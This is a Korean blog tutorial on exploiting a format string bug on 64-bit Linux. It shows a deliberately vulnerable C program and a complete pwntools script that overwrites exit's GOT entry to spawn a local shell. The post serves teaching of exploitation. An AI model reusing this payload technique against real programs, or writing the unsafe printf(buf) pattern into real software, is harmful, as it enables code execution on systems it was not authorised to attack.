참고자료 : JSec님 블로그(blog.naver.com/yjw_sz/221889244689) |
지난번에 간단하게.. fSB 취약점을 이용하여 변수의 값을 바꿔보았다.
오늘은 shell함수가 등장한다..
(1)을 보지 않았으면 (1)부터 꼭 보고 (2)번 글을 읽길 바랍니당.
PLT와 GOT
- PLT : 외부 라이브러리 함수를 사용할 수 있도록 주소를 연결해주는 역할을 하는 테이블
- GOT : PLT에서 호출하는 resolve 함수를 통해 구한 라이브러리 함수의 절대 주소가 저장되어 있는 테이블
- PLT는 코드이고 GOT는 주소값이 저장된 공간이다.
- 함수를 호출하면 PLT 코드가 실행이 되고, PLT 코드는 GOT에 적힌 주소로 이동한다.
- A함수의 GOT를 B함수의 주소로 덮어씌우면, A함수를 호출할 때 실제로 (A가 아닌) B함수가 호출된다.
- 메모리 보호 기법 중 RELRO가 FULL이 아닌 경우 가능
자세한건 아래 링크 클릭~!
jiravvit.tistory.com/entry/PLT%EC%99%80-GOT?category=812680
예제 2
- 예제 1은 이 전 게시물 참고
// fsb_got.c
// gcc -o fsb_got64 fsb_got.c -no-pie
#include <stdio.h>
void shell(void) {
system("/bin/sh");
}
int main(void) {
char buf[0x100];
read(0, buf, 0x100);
printf(buf); // fSB trigger!
exit(0);
}
shell 함수를 실행시키는 것(exploit)이 목표이다.
printf 함수에서 포맷스트링을 사용하지 않으니 FSB가 trigger될 수 있다.
다시.. 목표를 이야기해보자면...
exit@got는 0x601030이다.
저 주소로 접근해서 0x4004d6을 shell함수의 주소인 0x4005c7로 덮는 것이 목표이다.
%p를 이용해 레지스터 및 스택 구조를 살펴보고, offset을 구해보자.
offset은 6이다.
exploit 코드를 보며 이야기를 해보자.
from pwn import *
p = process('./fsb_got64')
e = ELF('./fsb_got64')
shell = e.symbols['shell']
exit_got = e.got['exit']
# shell = 0x4005c7
# exit@got = 0x601030
shell_low = shell & 0xffff # 0x5c7
shell_high = (shell >> 16) & 0xffff # 0x40
# offset 6
payload = ''
payload += '%{}c'.format(shell_high)
payload += '%9$hn'
payload += '%{}c'.format(shell_low - shell_high)
payload += '%10$hn'
payload += 'AAA'
payload += p64(exit_got + 2)
payload += p64(exit_got)
# len(payload) = 40
#pause()
p.send(payload)
p.interactive()
'%[숫자]$hn' 을 이용하여 2바이트씩 써주고 있다.
한번에 값을 다 넣어주지 않고 나누어서 넣어주는 이유는 한번에 쓰는게 더 오래걸려서 그렇다. (32bit에서 언급했었음)
FSB 취약점을 이용하여 원하는 주소에 원하는 값을 쓸 수 있다. (got overwriting)
원하는 주소 = exit@got
원하는 값 = shell
exit@got을 shell함수로 덮는다면, exit@got을 실행했을 때 shell함수가 실행되게 될 것이다.
위에서 offset이 6이라고 구해놨는데 갑자기 9,10이 되어버린 것도 저번시간에 한 거랑 똑같다.
%n을 이용하여 적은 입력할 페이로드 길이가 8의 배수여야 한다. 왜냐하면 그래야 8byte씩 입력하는 64bit체제에서 입력을 할 때, 딱딱 맞춰서 들어가니깐..
그래서 A를 3개 추가해주었다.
'%{}c'.format(shell_low - shell_high) 에서 shell_low - shell_high 해 준 이유?
간단하다. %n은 앞의 바이트 길이 만큼 입력을 한다. 지금 여기엔 shell_low만큼 들어가야하는데 만약 - shell_high를 안해주고 shell_low만 적게 된다면,
shell_high + shell_low 만큼의 바이트 길이가 exit_got에 들어가게 된다.
shell_high + shell_low - shell_high = shell_low
그래서 shell_high를 빼주는 것
익스 코드 실행 결과
여기서 딱 got overwriting을 한다.
exit@got가 shell함수의 주소로 잘 덮힌 것을 확인할 수 있다.
로컬에서 쉘따기 성공 ~
이제 우리는 64bit에서 FSB가 발생하면 got overwriting을 할 수 있게 되었습니다 짝짝짝다음시간에는 shell함수가 없을 때 어떻게 익스할 수 있는 지 살펴보자.
'System Hacking > FSB(Format String Bug)' 카테고리의 다른 글
64bit에서 FSB (Format String Bug) 이해하기 -(3)(완) (1) | 2021.04.22 |
---|---|
64bit에서 FSB (Format String Bug) 이해하기 -(1) (0) | 2021.04.21 |
32bit에서 FSB (Format String Bug) 이해하기 -(3) (완) (2) | 2020.10.10 |
32bit에서 FSB (Format String Bug) 이해하기 -(2) (1) | 2020.10.09 |
32bit에서 FSB (Format String Bug) 이해하기 -(1) (0) | 2020.10.08 |